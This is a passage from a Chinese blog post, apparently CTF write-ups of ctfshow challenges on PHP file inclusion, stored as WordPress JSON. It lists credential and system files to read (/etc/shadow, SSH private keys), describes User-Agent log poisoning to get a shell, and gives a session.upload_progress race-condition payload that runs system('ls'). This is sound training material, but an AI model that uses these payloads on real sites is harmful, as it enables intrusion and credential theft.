wp-config.php<\/code><\/pre>\n\n\n\n<p><strong>\u5305\u542b\u7cfb\u7edf\u914d\u7f6e\u6587\u4ef6<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>windows\nC:\/boot.ini\/\/\u67e5\u770b\u7cfb\u7edf\u7248\u672c\nC:\/Windows\/System32\/inetsrv\/MetaBase.xml\/\/IIS \u914d\u7f6e\u6587\u4ef6\nC:\/Windows\/repairsam\/\/\u5b58\u50a8\u7cfb\u7edf\u521d\u6b21\u5b89\u88c5\u7684\u5bc6\u7801\nC:\/Program Files\/mysql\/my.ini\/\/Mysql \u914d\u7f6e\nC:\/Program Files\/mysql\/data\/mysql\/user.MYD\/\/Mysql root\nC:\/Windows\/php.ini\/\/php \u914d\u7f6e\u4fe1\u606f\nC:\/Windows\/my.ini\/\/Mysql \u914d\u7f6e\u4fe1\u606f\n\nlinux\n\/root\/.ssh\/authorized_keys\n\/root\/.ssh\/id_rsa\n\/root\/.ssh\/id_ras.keystore\n\/root\/.ssh\/known_hosts\n**\/etc\/passwd**\n**\/etc\/shadow**\n\/etc\/my.cnf\n\/etc\/httpd\/conf\/httpd.conf\n\/root\/.bash_history\n\/root\/.mysql_history\n\/proc\/self\/fd\/fd&#91;0-9]*(\u6587\u4ef6\u6807\u8bc6\u7b26)\n\/proc\/mounts\n\/porc\/config.gz<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u65e5\u5fd7\u5305\u542bgetshell<\/strong><\/h3>\n\n\n\n<p><strong>\u5bf9\u4e8eApache\uff0c\u65e5\u5fd7\u5b58\u653e\u8def\u5f84\uff1a\/var\/log\/apache\/access.log<\/strong> <br><strong>\u5bf9\u4e8eNgnix\uff0c\u65e5\u5fd7\u5b58\u653e\u8def\u5f84\uff1a\/var\/log\/nginx\/access.log \u548c \/var\/log\/nginx\/error.log<\/strong><\/p>\n\n\n\n<p><strong>\u4e2d\u95f4\u4ef6\u7684\u65e5\u5fd7\u6587\u4ef6\u4f1a\u4fdd\u5b58\u7f51\u7ad9\u7684\u8bbf\u95ee\u8bb0\u5f55,\u6bd4\u5982HTTP\u8bf7\u6c42\u884c,User-Agent,Referer\u7b49\u5ba2\u6237\u7aef\u4fe1\u606f\uff0c\u5982\u679c\u5728HTTP\u8bf7\u6c42\u4e2d\u63d2\u5165\u6076\u610f\u4ee3\u7801,\u90a3\u4e48\u6076\u610f\u4ee3\u7801\u5c31\u4f1a\u4fdd\u5b58\u5230\u65e5\u5fd7\u6587\u4ef6\u4e2d,\u8bbf\u95ee\u65e5\u5fd7\u6587\u4ef6\u7684\u65f6\u5019\uff0c\u65e5\u5fd7\u6587\u4ef6\u4e2d\u7684\u6076\u610f\u4ee3\u7801\u5c31\u4f1a\u6267\u884c,\u4ece\u800c\u9020\u6210\u4efb\u610f\u4ee3\u7801\u6267\u884c\u751a\u81f3\u83b7\u53d6shell\u3002<\/strong><\/p>\n\n\n\n<p><strong>\u53c2\u8003\u9898\u76eectfshow web\u5165\u95e880<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nif(isset($_GET&#91;'file'])){\n    $file = $_GET&#91;'file'];\n    $file = str_replace(\"php\", \"???\", $file);\n    $file = str_replace(\"data\", \"???\", $file);\n    include($file);\n}else{\n    highlight_file(__FILE__);\n}<\/code><\/pre>\n\n\n\n<p>\u524d\u9762\u6709\u63d0\u5230\u6b64\u9898\uff0c\u5176\u5b9e\u8fd8\u6709\u53e6\u89e3\u5c31\u662f\u65e5\u5fd7\u5305\u542b\u6ce8\u5165<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?file=\/var\/log\/nginx\/access.log<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/106.54.201.63:8080\/wp-content\/uploads\/2025\/05\/\u5c4f\u5e55\u622a\u56fe-2025-04-16-185140-1024x511.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"511\" data-original=\"http:\/\/106.54.201.63:8080\/wp-content\/uploads\/2025\/05\/\u5c4f\u5e55\u622a\u56fe-2025-04-16-185140-1024x511.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-341\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><strong>\u53d1\u73b0\u5b58\u50a8\u4e86User-Agent\u7684\u6570\u636e\uff0cUser-Agent\u4e2d\u5199\u5165\u4e00\u53e5\u8bdd\u6728\u9a6c\uff0c\u4ece\u800cgetshell<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/106.54.201.63:8080\/wp-content\/uploads\/2025\/05\/\u5c4f\u5e55\u622a\u56fe-2025-04-16-185432-1024x512.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"512\" data-original=\"http:\/\/106.54.201.63:8080\/wp-content\/uploads\/2025\/05\/\u5c4f\u5e55\u622a\u56fe-2025-04-16-185432-1024x512.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-342\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">\u6761\u4ef6\u7ade\u4e89<\/h3>\n\n\n\n<p>\u76f4\u63a5\u4e0a\u53c2\u8003\u9898\u76ee\u4e86ctfshow web\u5165\u95e882\u300183\u300184\u300185\u300186<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nif(isset($_GET&#91;'file'])){\n    $file = $_GET&#91;'file'];\n    $file = str_replace(\"php\", \"???\", $file);\n    $file = str_replace(\"data\", \"???\", $file);\n    $file = str_replace(\":\", \"???\", $file);\n    $file = str_replace(\".\", \"???\", $file);\n    include($file);\n}else{\n    highlight_file(__FILE__);\n}<\/code><\/pre>\n\n\n\n<p><strong>.\u4e5f\u6ca1\u8fc7\u6ee4\u4e86\uff0c\u65e0\u6cd5\u8fdb\u884c\u65e5\u5fd7\u6ce8\u5165<\/strong><\/p>\n\n\n\n<p><strong>\u7b80\u5355\u56de\u987e\u4e00\u4e0b\u6761\u4ef6\u7ade\u4e89\uff0c\u6587\u4ef6\u4e0a\u4f20\u7684\u6761\u4ef6\u7ade\u4e89\u6f0f\u6d1e\u662f\u6307\u653b\u51fb\u8005\u5229\u7528\u670d\u52a1\u5668\u5728\u9a8c\u8bc1\u6587\u4ef6\u548c\u4fdd\u5b58\u6587\u4ef6\u4e4b\u95f4\u5b58\u5728\u7684\u65f6\u95f4\u5dee\uff0c\u901a\u8fc7\u5e76\u53d1\u8bf7\u6c42\u6216\u5feb\u901f\u66ff\u6362\u65b9\u5f0f\u7ed5\u8fc7\u5b89\u5168\u68c0\u67e5\uff0c\u6210\u529f\u4e0a\u4f20\u5e76\u6267\u884c\u6076\u610f\u6587\u4ef6\uff08\u5982 webshell\uff09\uff0c\u5728\u670d\u52a1\u5668\u9a8c\u8bc1\u6587\u4ef6\u662f\u5426\u5408\u6cd5\u4e4b\u524d\uff0c\u8be5\u6587\u4ef6\u5df2\u7ecf\u88ab\u670d\u52a1\u5668\u4fdd\u5b58\u4e86\u4e0b\u6765\u5bfc\u81f4\u7ed5\u8fc7\u4e86\u5b89\u5168\u68c0\u67e5<\/strong><\/p>\n\n\n\n<p><strong>\u672c\u9898\u7684\u601d\u8def<\/strong><\/p>\n\n\n\n<p><strong><code>session.upload_progress<\/code> \u529f\u80fd \u2014\u2014 \u8fd9\u662f\u4e00\u4e2a PHP \u63d0\u4f9b\u7684\u4f1a\u8bdd\u4e0a\u4f20\u8fdb\u5ea6\u529f\u80fd\uff0c\u4f1a\u628a\u4e0a\u4f20\u6587\u4ef6\u7684\u8fdb\u5ea6\u4fe1\u606f\u4e34\u65f6\u4fdd\u5b58\u5728 <code>\/tmp\/sess_&lt;PHPSESSID&gt;<\/code> \u4e2d\u3002<\/strong><\/p>\n\n\n\n<p><strong>\u56e0\u6b64session.upload_progress\u4e2d\u4f1a\u77ed\u6682\u5b58\u653e\u4e0a\u4f20\u6587\u4ef6\u7684\u5185\u5bb9\uff0c\u5982\u679cCookie\u4e2d\u8bbe\u7f6e\u4e86PHPSESSID=text<strong>\u5e76\u4e14\u6ca1\u6709\u88ab\u53ca\u65f6\u5220\u9664\u6389<\/strong>\uff0c\u5c31\u4f1a\u5bfc\u81f4\u4e0a\u4f20\u6587\u4ef6\u7684\u5185\u5bb9\u88ab\u50a8\u5b58\u5728\u4e86\/tmp\/sess_text\u4e2d\uff0c\u8bbf\u95ee\u8be5\u6587\u4ef6\u5c31\u4f1a\u6267\u884c\u6587\u4ef6\u4e2d\u7684\u4ee3\u7801\u3002<\/strong><\/p>\n\n\n\n<p><strong>\u6211\u4eec\u5728 Cookie \u91cc\u8bbe\u7f6e\u4e86 PHPSESSID=test\uff0cPHP \u5c06\u4f1a\u5728\u670d\u52a1\u5668\u4e0a\u521b\u5efa\u4e00\u4e2a\u6587\u4ef6\uff1a\/tmp\/sess_test\uff0c\u4f46\u662f\u5bf9\u4e8e\u9ed8\u8ba4\u914d\u7f6e session.upload_progress.cleanup = on\uff0c\u6587\u4ef6\u4e0a\u4f20\u540e session \u6587\u4ef6\u5185\u5bb9\u4f1a\u7acb\u5373\u88ab\u6e05\u7a7a\uff0c\u6211\u4eec\u9700\u8981\u901a\u8fc7\u6761\u4ef6\u7ade\u4e89\uff0c\u5728\u670d\u52a1\u5668\u8fd8\u672a\u6765\u5f97\u53ca\u5220\u9664\u6211\u4eec\u4e0a\u4f20\u7684session \u6587\u4ef6\u5185\u5bb9\u524d\uff0c\u6210\u529f\u8bbf\u95ee\u5305\u542b\u5230\u8be5\u6587\u4ef6\uff0c\u5b9e\u73b0\u6076\u610f\u4ee3\u7801\u7684\u547d\u4ee4\u6267\u884c\u3002<\/strong><\/p>\n\n\n\n<p><strong>\u8981\u5f97\u5230\u5f00\u542f\u4e86session_upload.progress\u7684\u5305\uff0c\u9700\u8981\u5148\u5199\u4e00\u4e2a\u6587\u4ef6\u4e0a\u4f20\u7684\u9875\u9762<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;!DOCTYPE html&gt;\n&lt;html&gt;\n&lt;body&gt;\n&lt;form action=\"https:\/\/42313e85-2096-4694-951d-407a4c5eeec4.challenge.ctf.show\/\" method=\"POST\" enctype=\"multipart\/form-data\"&gt;\n&lt;input type=\"hidden\" name=\"PHP_SESSION_UPLOAD_PROGRESS\" value=\"&lt;?php system('ls'); ?&gt;\" \/&gt;\n&lt;input type=\"file\" name=\"file\" \/&gt;\n&lt;input type=\"submit\" value=\"submit\" \/&gt;\n&lt;\/form&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n&lt;?php\nsession_start();\n?&gt;<\/code><\/pre>\n\n\n\n<p><strong>\u63d0\u4ea4\u6293\u5305\u8bbe\u7f6eCookie\u4e2d\u7684PHPSESSID\uff0c\u4fee\u6539session_upload.progress\u4e2d\u7684\u5185\u5bb9<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/106.54.201.63:8080\/wp-content\/uploads\/2025\/05\/\u5c4f\u5e55\u622a\u56fe-2025-04-16-194101-1024x549.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"549\" data-original=\"http:\/\/106.54.201.63:8080\/wp-content\/uploads\/2025\/05\/\u5c4f\u5e55\u622a\u56fe-2025-04-16-194101-1024x549.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-347\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><strong>\u53d1\u9001\u5230intruder\u4e2d\u8fdb\u884c\u7206\u7834<\/strong><\/p>\n\n\n\n<p><strong>\u4e4b\u540e\u518d\u6293\u4e00\u4e2a\u5305\u542b?file=\/tmp\/sess_exp\u7684\u5305<\/strong>\uff0c<strong>\u4f7f\u5176\u4e00\u76f4\u5305\u542b\u8be5\u6587\u4ef6<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/106.54.201.63:8080\/wp-content\/uploads\/2025\/05\/\u5c4f\u5e55\u622a\u56fe-2025-04-16-194759-1024x382.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"382\" data-original=\"http:\/\/106.54.201.63:8080\/wp-content\/uploads\/2025\/05\/\u5c4f\u5e55\u622a\u56fe-2025-04-16-194759-1024x382.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-348\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><strong>\u76f4\u5230\u6587\u4ef6\u5305\u542b\u6210\u529f<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/106.54.201.63:8080\/wp-content\/uploads\/2025\/05\/\u5c4f\u5e55\u622a\u56fe-2025-04-16-201139-1024x788.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"788\" data-original=\"http:\/\/106.54.201.63:8080\/wp-content\/uploads\/2025\/05\/\u5c4f\u5e55\u622a\u56fe-2025-04-16-201139-1024x788.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-349\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/106.54.201.63:8080\/wp-content\/uploads\/2025\/05\/\u5c4f\u5e55\u622a\u56fe-2025-04-16-201538-1024x573.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"573\" data-original=\"http:\/\/106.54.201.63:8080\/wp-content\/uploads\/2025\/05\/\u5c4f\u5e55\u622a\u56fe-2025-04-16-201538-1024x573.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-350\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6587\u4ef6\u4e0a\u4f20\u6587\u4ef6\u5305\u542b\u539f\u672c\u53ea\u662f\u4e00\u79cd\u529f\u80fd\uff0c\u4f46\u662f\u56e0\u4e3a\u7a0b\u5e8f\u5458\u6ca1\u6709\u5bf9\u4e0a\u4f20\u7684\u6587\u4ef6\u548c\u5f15\u7528\u7684\u6587\u4ef6\u8fdb\u884c\u4e25\u683c\u7684\u9a8c\u8bc1\u548c\u8fc7\u6ee4\uff0c\u5bfc\u81f4\u6076\u610f\u7528\u6237 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":334,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[19,1],"tags":[13],"class_list":["post-331","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-web-security","category-lern","tag-web-security"],"_links":{"self":[{"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/posts\/331","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/comments?post=331"}],"version-history":[{"count":9,"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/posts\/331\/revisions"}],"predecessor-version":[{"id":356,"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/posts\/331\/revisions\/356"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/media\/334"}],"wp:attachment":[{"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/media?parent=331"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/categories?post=331"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/charlottezhiend.cn:8080\/index.php\/wp-json\/wp\/v2\/tags?post=331"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}